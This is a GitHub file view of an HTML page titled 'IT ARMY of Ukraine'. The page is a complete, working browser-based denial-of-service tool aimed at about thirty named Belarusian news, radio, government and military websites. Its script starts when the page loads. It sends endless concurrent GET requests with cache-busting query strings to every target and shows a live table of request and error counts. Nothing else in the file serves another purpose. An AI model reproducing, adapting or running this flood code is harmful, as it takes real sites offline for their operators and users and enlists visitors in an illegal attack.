forked from dozainer/russia-must-be-stopped
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbelarus.html
97 lines (90 loc) · 4.18 KB
/
belarus.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8" />
<title>IT ARMY of Ukraine</title>
</head>
<body>
<h1 style="text-align: center;">IT ARMY of Ukraine in <a href="https://t.me/itarmyofuraine/4" target="_blank">telegram</a></h1>
<div id="stats"></div>
<script>
var targets = {
'http://belta.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://sputnik.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.tvr.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.sb.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://belmarket.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.belarus.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://belarus24.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://ont.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.024.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.belnovosti.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://mogilevnews.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.mil.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.slonves.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'http://www.ctv.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://radiobelarus.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://radiusfm.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://alfaradio.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://radiomir.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://radiostalica.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://radiobrestfm.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://www.tvrmogilev.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://minsknews.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://zarya.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://grodnonews.by/': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://rec.gov.by/ru': { number_of_requests: 0, number_of_errored_responses: 0 },
'https://mininform.gov.by': { number_of_requests: 0, number_of_errored_responses: 0 },
}
var statsEl = document.getElementById('stats');
function printStats() {
statsEl.innerHTML = '<table width="100%"><thead><tr><th>URL</th><th>Number of Requests</th><th>Number of Errors</th></tr></thead><tbody>' + Object.entries(targets).map(([target, { number_of_requests, number_of_errored_responses }]) => '<tr><td>' + target + '</td><td>' + number_of_requests + '</td><td>' + number_of_errored_responses + '</td></tr>').join('') + '</tbody></table>'
}
setInterval(printStats, 1000);
var CONCURRENCY_LIMIT = 1000
var queue = []
async function fetchWithTimeout(resource, options) {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), options.timeout);
return fetch(resource, {
method: 'GET',
mode: 'no-cors',
signal: controller.signal
}).then((response) => {
clearTimeout(id);
return response;
}).catch((error) => {
clearTimeout(id);
throw error;
});
}
async function flood(target) {
for (var i = 0;; ++i) {
if (queue.length > CONCURRENCY_LIMIT) {
await queue.shift()
}
rand = i % 3 === 0 ? '' : ('?' + Math.random() * 1000)
queue.push(
fetchWithTimeout(target+rand, { timeout: 1000 })
.catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
targets[target].number_of_errored_responses++;
})
.then((response) => {
if (response && !response.ok) {
targets[target].number_of_errored_responses++;
}
targets[target].number_of_requests++;
})
)
}
}
// Start
Object.keys(targets).map(flood);
</script>
</body>
</html>